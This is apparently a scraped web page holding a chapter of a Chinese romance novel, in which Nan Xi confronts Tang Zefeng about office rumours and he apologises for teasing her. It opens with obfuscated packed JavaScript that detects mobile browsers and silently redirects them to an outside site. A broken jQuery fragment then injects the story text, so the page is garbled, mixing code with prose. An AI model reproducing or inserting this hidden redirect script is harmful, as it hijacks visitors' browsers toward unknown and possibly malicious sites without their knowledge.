;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336271|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的意思：“怎么叫你？” 南汐直视他的眼睛，表情很坚定，声音却发虚：“就是……” “小女孩”三个字迟迟说不出口。 脸却先红了。 车子停下等红灯，唐泽枫看到她的反应，已经猜到了她想说的话。 三个字把南汐好不容易筑起的心理防线打崩了大半，意识到卡在了这个节点，她干脆从别的切入口入手：“你知不知道有人在背后说我们的关系？” 明明是埋怨的语气，声音却软得委屈巴巴。 唐泽枫失笑。 他当然知道，且在下午刚听到一点风向时就已经在员工群里发了消息，澄清两人只是单纯的朋友关系，让所有人不要再议论此事。 为的就是怕南汐听见。 没想到她还是知道了。 眼下她的反应实在可爱，唐泽枫自然不想错过。 “怎么说的？”他好整以暇地问。 他看起来很坦荡，好似完全不知情。 南汐不想让自己听起来像个打小报告的小人，但没办法，这事必须要他来解决。 她只能硬着头皮陈述事实：“说我是你女儿。” 她在“女儿”两个字上落下了重音，着重强调这两个字有多荒谬。 唐泽枫忍着笑，顺着她的话问：“怎么会这样？” “还不是因为你……”南汐又在熟悉的位置卡壳了，仓皇避开和他对视。 唐泽枫追问：“我怎么了？” 南汐下定了决心一定要说出口，她不管不顾地抬起头来，却见他分明是在笑。 男人眼底盈满笑意，南汐愣了愣，后知后觉他其实早就知道了实情，是故意要看她笑话。 意识到这点，南汐气愤地转身看向窗外，闷声说：“不理你了。” 玩过火了，唐泽枫将车停在路边，主动道歉：“抱歉，是我的错，以后不那么叫你。” 南汐很好哄，他还没说完心里就已经原谅了他。 她转回来面向他，语气已经软了很多：“我不小了，你不用把我小孩看，虽然没有经验，但我会在工作中学着成长的。” 这话南汐早就想说给他听了，她怕唐泽枫看轻她，又怕在唐泽枫心里自己一直是不成熟的少女形象，男朋友没钓到，先给自己找了个养父。 她语气坚定，唐泽枫意识到自己的有意偏袒似乎带给她意料之外的影响。 他应下：“好，我知道了。” 唐泽枫收起了调侃的笑意，见他神色认真，南汐心里终于松了口气。 可紧接着下一句话又让她平静不下来。 “能不能叫你月宝？”